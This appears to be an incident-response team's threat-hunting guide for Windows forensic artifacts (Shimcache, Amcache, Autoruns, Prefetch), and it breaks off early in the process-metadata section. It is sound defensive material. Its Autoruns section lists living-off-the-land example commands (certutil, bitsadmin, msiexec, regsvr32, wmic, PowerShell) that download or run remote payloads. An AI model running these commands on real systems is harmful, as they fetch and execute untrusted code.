# Windows Artfiact Deep Dive

# Windows Artifacts Covered:

1. [SHIMCACHE](#shimcache)
2. [AMCACHE](#amcache2)
3. [Autoruns](#autoruns2)
4. [Prefetch](#prefetch)
5. [Active Process Metadata](#ProcessMetadata)
6. [Active Network Connection Metadata](#NetConnMetadata)
7. [Executable Metadata](#ExeMetadata)
8. [Hosted Services](#HostedServices)
9. [Windows Event Logs](#WindowsEventLogs)

## Shimcache

Shimcache, also known as AppCompatCache, is a component of the Application Compatibility Database, which was created by Microsoft and used by the Windows operating system to identify application compatibility issues. Shimcache was designed to help developers troubleshoot legacy compatibility issues and contains data related to application execution.

Application Compatibility Cache store is located in the following Registry Key:

*HKLM\SYSTEM\CurrentControlSet\Control\SessionManager\AppCompatCache\AppCompatCache*

Similar to a log file, the Shimcache also "rolls" data, meaning that the oldest data is replaced by new entries. The amount of data retained varies by operating system

### Important Fields

Shimcache contains various file metadata depending on the operating system such as:

File Full Path

File Size

Last Modified time

Shimcache Last Updated time

Process Execution Flag (Windows 7/Server 2008 and newer)

### Hunt Value

Shimcache provides investigators a historical record of program execution which can enable the discovery of malware or attacker tools. Additionally, entries in the Shimcache are typically sequential, meaning proximate entries indicate which files executed within the same timeframe. Therefore, if an entry in the Shimcache contains a reliable timestamp, the analyst may be able to infer the execution date of other files in its proximity.

### Hunting Techniques

#### Stacking

Investigators should stack (at a minimum) the File Path column of the data collection and review the stacked data for evidence of execution of malware, utilities, scripts and programs with unusual names and running out of non-standard directories.

##### What to Look For

###### Anomalies

Investigators should review the stacked file paths and review the results for statistical outliers (executables that exist/existed on only a small percentage of endpoints in the enterprise or that exist on a large amount of endpoints.)

Investigators should pay special attention to binaries that were executed from suspicious directories such as:

%SystemRoot%

%UserProfile%

%WinDir%\Temp

%SystemRoot%\Temp

%Temp%

%HomeDrive%

%AppData%

%AllUsersProfile%

%Public%

Recycling Bin

##### And/or executables that possess suspicious characteristics such as:

Single or random character names

Match names of Microsoft executables but are in nonstandard directories

Nonstandard executable extensions (.txt, .jpg, .gif, etc)

Any Shimcache entries that are flagged by the investigator as suspicious should be triaged for signs of malicious activity.

#### Keyword Searching

##### Remote Admin Tools

Remote administration Tools (RATs) are legitimate software tools that allow remote access to an endpoint. They are often used legitimately but can also be used by malicious actors for stealthy privileged access.

Investigators should search the raw data set for RATs such as:

Psexec

Psexesvc

Winexesvc

Winvnc

Teamviewer

Screenconnect

NetSupport

RemoteInstaller

Any other widely used RAT

###### Note: Investigators should review the results of the RAT keyword searches for RAT in suspicious directories. All RATs flagged by the investigator as suspicious should be triaged for signs of malicious activity.

##### Known Bad Keywords

Investigators should scan the data set for known bad file names/paths and common attacker tools using open source or proprietary intelligence sources such as the Loki IOC scanner tool (<https://github.com/Neo23x0/Loki>)

XFIR NA maintains a suspicious filename list here: <https://github.ibm.com/XFIR/ATA/blob/master/ATA%20Scripts/Suspicious_Filename_Regex.txt>

### Triaging Data

As the investigator finds Shimcache entries that are suspicious, they should triage each suspicious entry through the following process:

1. Open Source Intelligence (OSINT) review (Google filename path to determine if it is associated with known good or known bad)
2. Proximity review – review Shimcache entries before and after the suspicious entry for signs of malicious activity such as:
3. o Living off the land (LOL) tool executions (powershell, wmic, net, etc)
4. o Recon tools (whoami, adfind, ldifde)
5. o Remote administration tools
6. Collect additional metadata for the suspicious executable
7. o Check other data collections such as Executable Metadata, Event Logs, Amcache for associated entries
8. o Attempt to collect a sample of the file from the endpoint and submit it to the sandbox for more details

### References

<https://www.fireeye.com/blog/threat-research/2015/06/caching_out_the_val.html>

<https://www.dfir.training/windows/amcache/207-lifars-amcache-and-shimcache-forensics/file>

<https://www.helpnetsecurity.com/2018/07/10/windows-shimcache-threat-hunting/>

## Amcache

The Amcache hive file is a registry file that stores information related to Windows Application Experience and Compatibility feature. The Windows Application Experience and Compatibility feature (Shims) allows an application to run even if it is no longer fully compatible with the endpoint or if a dependency has changed. Since each application that executes is evaluated for application compatibility, Amcache will create a historical record of each program that was executed on an endpoint.

AmCache exists as two different file formats: a BCF file, called RecentFileCache.bcf (Windows 7), and a Registry hive, called AmCache.hve (Windows 8 and newer).

AmCache file is stored in the following location:

*%WinDir%\AppCompat\Programs\Amcache.hve*

RecentFileCache.bcf file is stoned in the following location:

*%WinDir%\AppCompat\Programs\RecentFileCache.bcf*

### Important Fields

· FileKeyLastWriteTime

· SHA1

· FullPath

· LinkDate

### Hunt Value

Amcache provides investigators a historical record of program execution which can enable the discovery of malware or attacker tools. Like Shimcache, Amcache entries are typically sequential, meaning proximate entries indicate which files executed within the same timeframe. Therefore, if an entry in the Amcache contains a reliable timestamp, the analyst may be able to infer the execution date of other files in its proximity. Unlike Shimcache, Amcache logs additional data like the SHA1 hash value, date executable was compiled, last modified and create file timestamps of each executable.

### Hunting Techniques

#### IOC Searching

At a minimum, Investigators should submit a deduplicated list of each SHA1 hash value to an intel repository (Reversing Labs, VirusTotal, Sherlock) to identify known bad hashes.

All hashes flagged as Malicious or Suspicious by the intelligence source should be triaged for signs of malicious activity.

#### Stacking

Investigators should (at a minimum) stack the Full Path column of the data collection review the stacked data for evidence of execution of malware, utilities, scripts and programs with unusual names and running out of non-standard directories.

##### What to Look For

###### Anomalies

Investigators should review the stacked file paths and review the results for statistical outliers (executables that exist/existed on only a small percentage of endpoints in the enterprise or that exist on a large amount of endpoints.)

Investigators should pay special attention to binaries that were executed from suspicious directories such as:

· %SystemRoot%

· %UserProfile%

· %WinDir%\Temp

· %SystemRoot%\Temp

· %Temp%

· %HomeDrive%

· %AppData%

· %AllUsersProfile%

· %Public%

· Recycling Bin

And/or executables that possess suspicious characteristics such as:

· Single or random character names

· Match names of Microsoft executables but are in nonstandard directories

· Nonstandard executable extensions (.txt, .jpg, .gif, etc)

Any Amcache entries that are flagged by the investigator as suspicious should be triaged for signs of malicious activity.

#### Keyword Searching

##### Remote Admin Tools

Remote administration Tools (RATs) are legitimate software tools that allow remote access to an endpoint. They are often used legitimately but can also be used by malicious actors for stealthy privileged access.

Investigators should search the raw data set for RATs such as:

· Psexec

· Psexesvc

· Winexesvc

· Winvnc

· Teamviewer

· Screenconnect

· NetSupport

· RemoteInstaller

· Any other widely used RAT

Note: Investigators should review the results of the RAT keyword searches for RAT in suspicious directories. All RATs flagged by the investigator as suspicious should be triaged for signs of malicious activity.

##### Known Bad Keywords

Investigators should scan the data set for known bad file names/paths and common attacker tools using open source or proprietary intelligence sources such as the Loki IOC scanner tool (<https://github.com/Neo23x0/Loki>)

XFIR NA maintains a suspicious filename list here: <https://github.ibm.com/XFIR/ATA/blob/master/ATA%20Scripts/Suspicious_Filename_Regex.txt>

### Triaging Data

As the investigator finds Amcache entries that are suspicious, they should triage each suspicious entry through the following process:

1. Open Source Intelligence (OSINT) review (Google filename path to determine if it is associated with known good or known bad)
2. Proximity review – review Amcache entries before and after the suspicious entry for signs of malicious activity such as:
3. o Living off the land (LOL) tool executions (powershell, wmic, net, etc)
4. o Recon tools (whoami, adfind, ldifde)
5. o Remote administration tools
6. Collect additional metadata for the suspicious executable
7. o Check other data collections such as Executable Metadata, Event Logs, Real-time data for more information
8. o Attempt to collect a sample of the file from the endpoint and submit it to the sandbox for more details

### References

<https://www.dfir.training/windows/amcache/207-lifars-amcache-and-shimcache-forensics/file>

<https://www.sans.org/cyber-security-summit/archives/file/summit-archive-1492713813.pdf>

<https://www.andreafortuna.org/2017/10/16/amcache-and-shimcache-in-forensic-analysis/>

## Autoruns

Sysinternal’s Autoruns is a Microsoft utility with comprehensive knowledge of AutoStart Execution Point (ASEP) locations in the Windows operating system. Autoruns can query the ASEP locations and display a complete list of all auto-start applications as well as the full list of registry and file system locations available for a system’s ASEP configuration. Along with the ASEP data, Autoruns will return file metadata such as MD5 hash, digital signature information and full path of the software. XFIR leverages a modified version of the Autorun’s software that allows for the collection of ASEP data at scale.

### Important Fields

· Category

· ImagePath

· LaunchString

· MD5

· SHA1

### Hunt Value

Attackers usually want to persist across reboots on at least some endpoints in a network. ASEP locations offer a convenient way for attackers to automatically execute programs or scripts to maintain access to an endpoint or environment. Collecting Autoruns output at scale allows investigators to quickly audit common persistence mechanisms for signs of malicious activity.

Autoruns audits entries associated with the following ASEP types:

· Logon

· Explorer (context menus, shell extensions, etc.)

· Internet Explorer (toolbars, browser helper objects)

· Scheduled Tasks (processes that run in the background based on triggered events)

· Services (Windows entries are hidden by default)

· Drivers

· Print Monitors

· LSA Providers

· Network Providers

· Sidebar Gadgets

· Codecs

· Boot Execute

· Image Hijacks

· AppInit

· KnownDLLs

· Winlogon

· Winsock Providers

· Office

· WMI

### Hunting Techniques

#### IOC Searching

At a minimum, Investigators should submit a deduplicated list of each MD5 or SHA1 hash value to an intel repository (Reversing Labs, VirusTotal, Sherlock) to identify known bad hashes.

All hashes flagged as Malicious or Suspicious by the intelligence source should be triaged for signs of malicious activity.

#### Grouping

At a minimum, Investigators should leverage the Category field in the Autoruns collection to group ASEP entries by like categories (services, tasks, drivers, etc). Grouping ASEP data by the category, gives investigators context to the data and allows for more effective anomaly detection through stacking.

Additionally, investigators can enrich the Autoruns data through IOC searching by grouping data into “known good”, “known bad”, and “unknown” data sets. Again, this provides investigators with additional context for analysis. For example, in the “known good” data set, investigators can assume that the programs referenced in the data set are likely not malware, so investigators can pay close attention to the Launch String field or the path to the program. For example, consider the Logon entry for C:\windows\system32\lkajsdlkfa\notepad.exe in the “known good” data set. “Notepad.exe” is a legitimate Microsoft executable however an attacker could copy “notepad.exe” from its original location (%windir% or %windir%\system32) to a random directory totake advantage of search order hijacking to load a malicious DLL. Once the malicious DLL and “Notepad.exe” files are staged, an attacker can execute “Notepad.exe” with *“powershell.exe -windowstyle hidden -command "start-process -windowstyle hidden -filepath C:\windows\system32\lkajsdlkfa\notepad.exe* ". In this case the launcher (PowerShell) and the executor (Notepad) are both legitimate executables which would not be detected through standard IOC searching but are easily identifiable as anomalous through analyzing the path and command line arguments. It is recommended that investigators combine grouping and stacking techniques by stacking grouped data sets for more effective hunting.

Each Autorun category is explained in the following subsections. Investigators should review and understand each ASEP category to understand the context of each grouped data set.

##### Logon

Logon entries are processed when Windows starts up and a user logs on, and it includes the ASEPs that are probably the most commonly used by applications. They include the various Run and RunOnce keys in the registry, the Startup folders in the Start menu, computer startup and shutdown scripts, and logon and logoff scripts. It also lists the initial user session processes, such as the Userinit process and the desktop shell. These ASEPs include both per-user and systemwide locations, and entries designed for control through Group Policy. Finally, it lists the “Active Setup\lnstalled Components” keys, which although never publicly documented or supported for third-party use have been used by attackers to launch malware and maintain persistence.

##### Explorer

Explorer entries lists ASEPs that hook directly into Windows Explorer and usually run in-process with “Explorer.exe”. Although most entries are systemwide, there are a number of per-user entries.

Key entries on the Explorer tab include the following:

· Shell extensions that add context menu items, modify property pages, and control column displays in folder windows

· Namespace extensions such as the Desktop, Control Panel, and Recycle Bin, as well as third-party namespace extensions

· Pluggable namespace handlers, which handle standard protocols such as HTTP, FTP, and MAILTO, as well as Microsoft or third-party extensions such as “.about”, “.mk”, and “.res”

· Pluggable MIME filters

On 64-bit versions of Windows, in-process components such as DLLs can be loaded only into processes built for the same CPU architecture. For example, shell extensions implemented as 32-bit DLLs can be loaded only into the 32-bit version of Windows Explorer — and 64-bit Windows uses the 64-bit Explorer by default. Therefore, these extensions might not appear to work at all on 64-bit Windows.

##### Internet Explorer

Internet Explorer is designed for extensibility, with interfaces specifically exposed to enable Explorer bars such as the Favorites and History bars, toolbars, and custom menu items and toolbar buttons. And Browser Helper Objects (BHOs) enable almost limitless possibilities for extending the capabilities and user experiences for Internet Explorer.

However, because so much of users' computer time is spent in a browser, and because much of the high-value information that users handle (such as passwords and credit card information) goes through the browser, it has become a primary target of attackers. The same programmatic interfaces that enable integration with third-party document readers and instant messaging have also been used by spyware, adware, and other malicious endeavors.

##### Scheduled Tasks

Scheduled Tasks are entries that are configured to be launched by the Windows Task Scheduler. The Task Scheduler allows programs to be launched on a fixed schedule or upon triggering events, such as a user logging on or a particular Windows Event Log entry being logged. Commands scheduled with At.exe also appear in the list. Attackers commonly use Windows Task Scheduler to execute programs on a scheduled basis for persistence, to escalate privileges, or to run a process under the context of a specified account.

##### Services

Windows services run in noninteractive, user-mode processes that can be configured to start independently of any user logging on, and that are controlled through a standard interface with the Service Control Manager. Multiple services can be configured to share a single process. A common example of this can be seen in Svchost.exe (Host Process for Windows Services), which is specifically designed to host multiple services implemented in separate DLLs.

Services are configured in the subkeys of HKLM\System\CurrentControlSet\Services. The Start value within each subkey determines whether and how the service starts.

By default, Autoruns' only lists services that are not disabled, unless they were disabled by Autoruns (indicated by an AutorunsDisabled value in the key). The content for the Description column comes from the text or the resource identified by the Description value in the configuration key. The image path column displays the path to the service executable.

Attackers may leverage Windows Services as techniques in the Execution, Persistence, and/or Privilege Escalation tactics in the MITRE ATT&CK framework.

Common Attacker Techniques:

**New Service**

Attackers may install a new service through the SCM via built-in administration tools such as PowerShell and “sc.exe” or by directly modifying the Windows Registry. Attackers may install new services with names that are related to the operating system or a benign software service to evade detection. Additionally, many post exploitation tools such as Metasploit and Cobalt Strike leverage Windows Services creation mechanisms to execute commands on a local or remote system. To escalate privileges, attackers may leverage a local Administrator account to create a new service which will be executed under SYSTEM privileges, allowing the attacker to execute programs or applications at the highest level of privileges in Microsoft Windows.

**Modify Existing Service**

Attackers may also modify an existing Windows Service through the SCM, built-in administration tools such as PowerShell and “sc.exe”, post exploitation frameworks, or by directly modifying the Windows Registry. Leveraging existing services is also considered a type of masquerading to make detection of malicious services more challenging. If an attacker has the appropriate privileges, they can manipulate existing services to execute malicious programs or applications. The most common targets for attackers are standalone services and hosted services.

**Service Registry Permissions Weakness**

The configurations stored within the Windows Services Registry keys can be modified a service's execution parameters through tools such as the “sc.exe”, PowerShell, “reg.exe”, or “regedit.exe”.

If the permissions for users and groups are not properly set and allow access to the Registry keys for an existing service, then attackers may modify the “binPath”, “ImagePath”, or “FailureCommand” values to point to a malicious program or create registry keys associated with Hosted Services to load a malicious DLL through the service hosting process allowing the attacker to execute persistence and/or privilege escalation MITRE ATT&CK tactics.

##### Drivers

Drivers are also configured in the subkeys of HKLM\System\CurrentControlSet\Services, but they run in kernel mode making them part of the core of the operating system. Most drivers are installed in “%windir%\system32\drivers” and possess the file extension “.sys”. Investigators should pay special attention to any drivers in a different directory or with a different extension.

Drivers enable Windows to interact with various types of hardware, including displays, storage, smart card readers, and human input devices. They are also used to monitor network traffic and file I/O by Antivirus software. Drivers can also be leveraged by malware most commonly in the cases where a rootkit is present.

Drivers entries display drivers that are not marked as disabled, except those disabled through Autoruns. The Description value comes from the version resource of the driver file, and the image path points to the location of the driver file.

##### Codecs

The Codecs category lists executable code that can be loaded by media playback applications. Codecs have been abused by malware as they can be used to download or run malicious software after being loaded by the OS or media software.

Codecs are usually represented by a four-character code (FOURCC) such as:

· Xvid, DivX (belonging to the XMPEG-4 Part 2 standard) are commonly used to compress .avi files.

· MPEG-1 is used for Video CDs. MPEG-2 are used for the DVD and SVCD formats.

· WMV (WMV 7-9) stands for Windows Media Video supported natively by the media players from Microsoft.

· Files with the .mov extension are media files encoded in the Apple Quicktime video and audio format. QuickTime files could also be played using the Quicktime Alternative software.

· Files with the .rm extension are Real Media files which have to be played with Real Player (or by using the Real Alternative software).

· Files with the .mp4 extension are encoded in the MPEG-4 format and those could be played in several portable video players.

· Files with the .mpg or .mpeg extensions indicate that the file is either MPEG-1 or MPEG-2 video. If the .mpg or .mpeg files cannot be played with Windows Media Player it may indicate that a DVD software player has to be used in order to play the file.

· Files with the .vob extension indicate that the file is a DVD Video Object file. Those files belong to the MPEG-2 format and are usually stored on DVD discs. The .vob files may be played with a DVD software player or by using Media Player classic with the proper codecs.

##### Boot Execute

Boot Execute entries display Windows native executables that are started by the Session Manager (Smss.exe) during system boot. “BootExecute” typically includes tasks, such as hard-drive verification and repair (Autochk.exe), that cannot be performed while Windows is running. The “Execute”, “SOInitialCommand”, and “SetupExecute” entries should never be populated after Windows has been installed. Investigators should pay special attention to any Boot Execute entries.

##### Image Hijacks

Image Hijack entries refer to ASEPs that run a different program from the default specification and often ones different than the user expects to be running.

The Image Hijacks tab displays three types of these redirections:

· Exefile - changes to the association of an “.exe” or “.cmd” files with an executable command. The file association user interfaces in Windows have never exposed a way to change the association of the “.exe” or “.cmd” file types, but they can be changed in the registry.

· Command Processor - A command line that is executed whenever a new Command Prompt (Cmd.exe) instance is launched. The command runs within the context of the new “Cmd.exe” instance. There is a per-user and systemwide variant, as well as a separate version for the 32-bit “Cmd. Exe” on 64-bit Windows.

· Image File Execution Options (IFEO) - One purpose for IFEO subkeys that has been documented is the ability to specify an alternate program to start whenever a particular application is launched. By creating a subkey named for the file name of the original program and a "Debugger" value within that key that specifies an executable path to an alternate program, the alternate program is started instead and receives the original program path and command line on its command line. The original purpose of this mechanism was for the alternate program to be a debugger and for the new process to be started by that debugger, rather than having a debugger attach to the process later, after its startup code had already run.

##### AppInit

Applnit DLLs are a relic from Windows NT 3.1 and are used to specify one or more DLLs in the Appinit\_Dlls registry key, and those DLLs will be loaded into every process that loads “User32.dll” which is almost every user-mode Windows processes.

The Applnit DLLs are automatically loaded into the user mode processes during User32's initialization and as such often targeted by attackers to automatically execute malicious code. Applnit DLLs are deprecated and disabled by default in Windows Vista and newer. However, it is possible to re-enable Applnit DLL functionality.

Applnit Registry Keys:

· HKLM\Software\Microsoft\Windows NT\CurrentVersion\Windows\Appinit\_Dlls

· HKLM\Software\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Windows\Appinit\_Dlls

##### KnownDlls

KnownDLLs helps improve system performance by ensuring that all Windows processes use the same version of certain DLLs, rather than choose their own from various file locations. During startup, the Session Manager maps the DLLs listed in “HKLM\System\ CurrentControlSet\Control\Session Manager\KnownDlls” into memory as named section objects. When a new process is loaded and needs to map these DLLs, it uses the existing sections rather than searching the file system for another version of the DLL.

The Autoruns KnownDLLs tab should contain only verifiable Windows DLLs. On 64-bit versions of Windows, the KnownDLLs tab lists one ASEP, but file entries are duplicated for both 32-bit and 64-bit versions of the DLLs, in folders specified by the DIIDirectory and DIIDirectory32 values in the registry key.

Note: It is possible for malware to delete an entry from the KnownDll key so that it can load its own version of a system DLL but this should be detectable though analyzing the hashes of the collection.

##### WinLogon

Winlogon entries hook into “Winlogon.exe”, which manages the Windows logon user interface. On Windows XP and Windows Server 2003, these can include the GINA DLL interface and Winlogon notification packages. Those interfaces were removed in Windows Vista, which introduced the Credential Provider interface. Winlogon entries will include the user's configured screen saver, which is started by “Winlogon.exe” after inactivity.

##### WinSock Providers

Windows Sockets (Winsock) is an extensible API on Windows so third parties can add a transport service provider that interfaces Winsock with other protocols to provide functionality such as proxying. Third parties can also add a namespace service provider to augment Winsock's name-resolution facilities. Service providers plug into Winsock by using the Winsock service provider interface (SPI). When a transport service provider is registered with Winsock, Winsock uses the transport service provider to implement socket functions, such as connect and accept, for the address types that the provider indicates it implements. There are no restrictions on how the transport service provider implements the functions, but the implementation usually involves communicating with a transport driver in kernel mode.

Winsock entries lists the providers registered on the system, including those that are built into Windows.

##### Print Monitors

Print Monitors entries are DLLs that are configured in the subkeys of “HKLM\System\CurrentControlSet\Control\Print\Monitors”. These DLLs are loaded into the Spooler service, which runs as Local System. Attackers can use Print Monitors to load malicious code at startup that will persist on system reboot and execute as SYSTEM. Investigators should pay special attention to any Print Monitor entries that are unsigned, have an unknown hash value, or exist outside of the path “%windir%\windows\system32”.

##### LSA Providers

LSA Provider entries comprise of packages that define or extend user authentication for Windows, via the Local Security Authority (LSA). Unless a third-party authentication package is being used, the LSA Provider data should contain only Windows verifiable entries. The DLLs listed in these entries are loaded by Lsass.exe or Winlogon.exe and run as Local System.

DLLs listed in LSA Providers get loaded into many privileged and standard user processes, so this ASEP has been targeted as a malware persistence vector.

##### Network Providers

The Network Providers tab lists the installed providers handling network communication, which are configured in HKLM\System\CurrentControlSet\Control\NetworkProvider\Order. On a Windows desktop operating system, for example, this tab includes the default providers that provide access to SMB (file and print) servers, Microsoft RDP (Terminal Services/Remote Desktop) servers, and access to WebDAV servers. Additional providers are often visible in this list if you have a more heterogeneous network or additional types of servers that Windows needs to connect to. All entries in this list should be verifiable.

##### Office

The Office entries are associated with Microsoft Office Add-ins. Attackers have used Office Add-ins to obtain persistence because they can be set to execute code when an Office application starts. There are different types of add-ins that can be used by the various Office products.

Office Add-In Types:

· Word/Excel add-in Libraries (WLL/XLL)

· VBA add-ins

· Office Component Object Model (COM) add-ins

· Automation add-ins

· VBA Editor (VBE)

· Visual Studio Tools for Office (VSTO) add-ins

· Outlook add-ins

##### WMI

The WMI entries are associated with WMI Event Consumers registered in the WMI database. Attackers can use WMI to install event filters, providers, consumers, and bindings that execute code when a defined event occurs. Attackers may use the capabilities of WMI to subscribe to an event and execute arbitrary code when that event occurs, providing persistence on a system. Adversaries may attempt to evade detection of this technique by compiling WMI scripts. Examples of events that may be subscribed to are the wall clock time or the computer's uptime.

#### Keyword Searching

##### Remote Admin Tools

Remote administration Tools (RATs) are legitimate software tools that allow remote access to an endpoint. They are often used legitimately but can also be used by malicious actors for stealthy privileged access.

Investigators should search the raw data set for RATs such as:

· Psexec

· Psexesvc

· Winexesvc

· Winvnc

· Teamviewer

· Screenconnect

· NetSupport

· RemoteInstaller

· Any other widely used RAT

Note: Investigators should review the results of the RAT keyword searches for RAT in suspicious directories. All RATs flagged by the investigator as suspicious should be triaged for signs of malicious activity.

##### Known Bad Keywords

Investigators should scan the data set for known bad file names/paths and common attacker tools using open source or proprietary intelligence sources such as the Loki IOC scanner tool (<https://github.com/Neo23x0/Loki>)

XFIR NA maintains a suspicious filename list here: <https://github.ibm.com/XFIR/ATA/blob/master/ATA%20Scripts/Suspicious_Filename_Regex.txt>

#### Stacking

At a minimum, investigators should stack the “Image Path” and “Launch String” fields of the Autoruns collection and review the stacked data for evidence of execution of malware, utilities, scripts and programs with unusual names and running out of non-standard directories.

Any Autoruns entries that are flagged by the investigator as suspicious should be triaged for signs of malicious activity.

##### What to Look For

###### Anomalies

Investigators should review the stacked data and review the results for statistical outliers (executables that exist/existed on only a small percentage of endpoints in the enterprise or that exist on a large amount of endpoints.)

Investigators should pay special attention to Autoruns entries that are associated with suspicious directories such as:

· %SystemRoot%

· %UserProfile%

· %WinDir%\Temp

· %SystemRoot%\Temp

· %Temp%

· %HomeDrive%

· %AppData%

· %AllUsersProfile%

· %Public%

· Recycling Bin

And/or Autoruns entries that possess suspicious characteristics such as:

· Single or random character names

· Match names of Microsoft executables but are in nonstandard directories

· Nonstandard executable extensions (.txt, .jpg, .gif, etc)

###### Living Off the Land (LOL) Tools:

Investigators should pay special attention to the “Launch String” entries associated with LOL tools for suspicious command line parameters.

##### appsyncvpublishing.exe

* Description: This utility supports the ability to execute PowerShell making it an excellent alternative to Powershell.exe.
* Example: SyncAppvPublishingServer.exe "n;calc"

##### control.exe

* Description: The control panel feature within Windows supports the execution of arbitrary DLLs as demonstrated in the shadowbrokers release. (<https://www.dearbytes.com/blog/playing-around-with-nsa-hacking-tools/>)
* Example: control.exe payload.dll

##### csc.exe

* Description: The .NET compiler can be used to compile a c# payload locally that can then be executed.
* Example: C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe /out:payload.exe payload.cs
* Example payload.cs: public class x{public static void Main(){System.Diagnostics.Process.Start("calc");}}

##### cscript.exe/wscript.exe

* Description: Windows script engines that support both VBS and JScript execution. CScript is the console version, WScript is the Window version. Neither version supports scripts being supplied on the command line, instead a file must be created containing the script or a funky bat file wrapper.
* Example: cscript.exe test.vbs (where test.vbs contains WScript.Echo "test")

##### forfiles.exe

* Description: Forfiles supports the ability to execute commands and seems to be equivalent to cmd.
* Example: forfiles /p c:\windows\system32 /m notepad.exe /c calc.exe

##### msbuild.exe

* Description - Microsoft's build utility where you can supply an inline build task to execute code (<https://msdn.microsoft.com/en-us/library/dd722601.aspx>)
* Example: C:\Windows\Microsoft.NET\Framework\v2.0.50727\msbuild.exe \server\payload

##### msiexec.exe

* Description - The Windows installer typically used to install new software or patches. It be used to download and execute a remote payload.
* Example: msiexec /i [http://server/package.msi](http://server/package.msi)
* Example: msiexec /y payload.dll
* Example: msiexec /z payload.dll

##### mshta.exe

* Description: MSHTA can be used to execute HTA files (containing scripts) or directly execute VBScript/JScript from the command line.
* Example: mshta bad.hta
* Example: mshta vbscript:Execute("MsgBox(""amessage"",64,""atitle"")(window.close)")
* Example: mshta javascript:alert('test');
* Example HTA: HTA:APPLICATION icon="#" WINDOWSTATE="minimize" SHOWINTASKBAR="no" SYSMENU="no" CAPTION="no" script language="VBScript" Set objShell = CreateObject("Wscript.Shell") objShell.Run "calc.exe" Close

##### powershell.exe

* Description: The most well known and most useful attacker utility. Powershell can be operated in console mode, with commands provided on the command line or through passing a ps1 file containing commands.
* Example: powershell -c calc
* Example: powershell -exec bypass -File test.ps1

##### regsvr32.exe

* Description: Command-line tool that registers dll files as command components in the registry. Notable for its use to bypass UAC and useful as it supports remote DLL retrieval with scrobj.dll. No arguments need to be supplied to regsvr32 if the dll exports the function DllRegisterServer.
* Example: regsvr32 /s /n /u /i:[URL] scrobj.dll
* Example: regsvr32 payload.dll

##### rundll32.exe

* Description: Loads and runs DLLs. Three parameters are typically used, the DLL to be executed, the function within the DLL to call and any arguments.
* Example: rundll32 SHELL32.DLL,ShellExec\_RunDLL "calc"
* Example: rundll32.exe javascript:"..\mshtml,RunHTMLApplication ";alert('test');

##### winrm.exe

* Description: WinRM, or Windows Remote Management provides the ability to remotely execute wmi commands. The winrm service is disabled by default but can be enabled.
* Example: winrm qc -q & winrm i c wmicimv2/Win32\_Process @{CommandLine="calc"}

##### wmic.exe

* Description: Command line tool for WMI.
* Example: wmic process call create "cmd.exe /c calc"
* Example: wmic /node:[targetIPaddr] /user:[admin] process call create "cmd.exe /c [command]"
* Example: wmic os get /format:"https://server/payload.xsl

##### certutil.exe

* Description: Allows you to download a payload.
* Example: certutil -ping [URL]
* Example: certutil -urlcache -split -f [URL] [output-file]

##### bitsadmin.exe

* Description: Allows you to download a payload.
* Example: bitsadmin /transfer [job-name] /download /priority normal [URL-to-payload] [output-path]

##### powershell.exe

* Description: Allows you to download a payload.
* Example: powershell -c "(New-Object System.Net.WebClient).DownloadString('https://google.com')"

### References

DLL Search Order Hijacking: <https://attack.mitre.org/techniques/T1038/>

Autoruns: <https://docs.microsoft.com/en-us/sysinternals/downloads/autoruns>

Living off the land tools: <https://github.com/api0cradle/LOLBAS>

Finding Malware with Autoruns: <https://www.sans.org/reading-room/whitepapers/malicious/paper/33383>

## Prefetch

Prefetch is a performance optimization mechanism used to accelerate the application startup process. Prefetch is disabled on server systems for performance reasons. When an application from a particular location for the very first time, Windows creates a Prefetch file (.pf) for that application. Prefetch files are then used by the OS to pre-load the stored information from disk into memory in advance to speed up subsequent boots or application startup.

Prefetch data stored in %SystemRoot%\Prefetch and is comprised of the following files:

· NTOSBOOT-B00DFAAD.pf – the system boot prefetch.

· Layout.ini – contains data used by the disk defragmenter.

· AppName-########.pf – an executable file that run at least once. There are up to 128 prefetch files with the extension .pf maintained by the system.

### Important Fields

· Process Path (Full Path)

· Process Executable Name

· Last Execution Time

· Created Timestamp

· Modified Timestamp

· Accessed Timestamp

· Last Run Time

· Run Count

### Hunt Value

Prefetch files are used to determine what programs were recently executed on a system.

By analyzing a Prefetch file, an investigator can determine:

· The executable’s name

· The executable’s path

· The number of times the executable has been run

· The creation timestamp of .pf file. In some cases, this may indicate the first run time of an executable in a system

· The last run time of the executable (embedded last execution time / last modification timestamp of .pf file)

· For Windows 8 onwards, the 7 previous last run timestamps if executed more than once

· The files and directories that were used by the executable

· Volume related information, like volume path, volume creation timestamp, and volume serial number

### Hunting Techniques

#### Stacking

Investigators should stack (at a minimum) the Process Path column of the data collection and review the stacked data for evidence of execution of malware, utilities, scripts and programs with unusual names and running out of non-standard directories.

##### What to Look For

###### Anomalies

Investigators should review the stacked file paths and review the results for statistical outliers (executables that exist/existed on only a small percentage of endpoints in the enterprise or that exist on a large amount of endpoints.)

Investigators should pay special attention to binaries that were executed from suspicious directories such as:

· %SystemRoot%

· %UserProfile%

· %WinDir%\Temp

· %SystemRoot%\Temp

· %Temp%

· %HomeDrive%

· %AppData%

· %AllUsersProfile%

· %Public%

· Recycling Bin

And/or executables that possess suspicious characteristics such as:

· Single or random character names

· Match names of Microsoft executables but are in nonstandard directories

· Nonstandard executable extensions (.txt, .jpg, .gif, etc)

Any Prefetch entries that are flagged by the investigator as suspicious should be triaged for signs of malicious activity.

#### Keyword Searching

##### Remote Admin Tools

Remote administration Tools (RATs) are legitimate software tools that allow remote access to an endpoint. They are often used legitimately but can also be used by malicious actors for stealthy privileged access.

Investigators should search the raw data set for RATs such as:

· Psexec

· Psexesvc

· Winexesvc

· Winvnc

· Teamviewer

· Screenconnect

· NetSupport

· RemoteInstaller

· Any other widely used RAT

##### Note: Investigators should review the results of the RAT keyword searches for RAT in suspicious directories. All RATs flagged by the investigator as suspicious should be triaged for signs of malicious activity.

## Active Process Metadata (running Processes)

The Process Listing data collection is a snapshot of all running processes on all endpoints.

### Important Fields

· Process Name

· Process Path

· User

· Command Line

· MD5

### Hunt Value

Evaluating process executions on an endpoint can uncover several attacker techniques in the MITRE ATT&CK Framework. When collected at scale, snapshots of running processes allows investigators to quickly establish a baseline for process execution in an environment and ensure that every endpoint has been assessed for malicious process execution.

### Hunting Techniques

#### IOC Searching

At a minimum, Investigators should submit a deduplicated list of each MD5 or SHA1 hash value to an intel repository (Reversing Labs, VirusTotal, Sherlock) to identify known bad hashes.

All hashes flagged as Malicious or Suspicious by the intelligence source should be triaged for signs of malicious activity.

#### Grouping

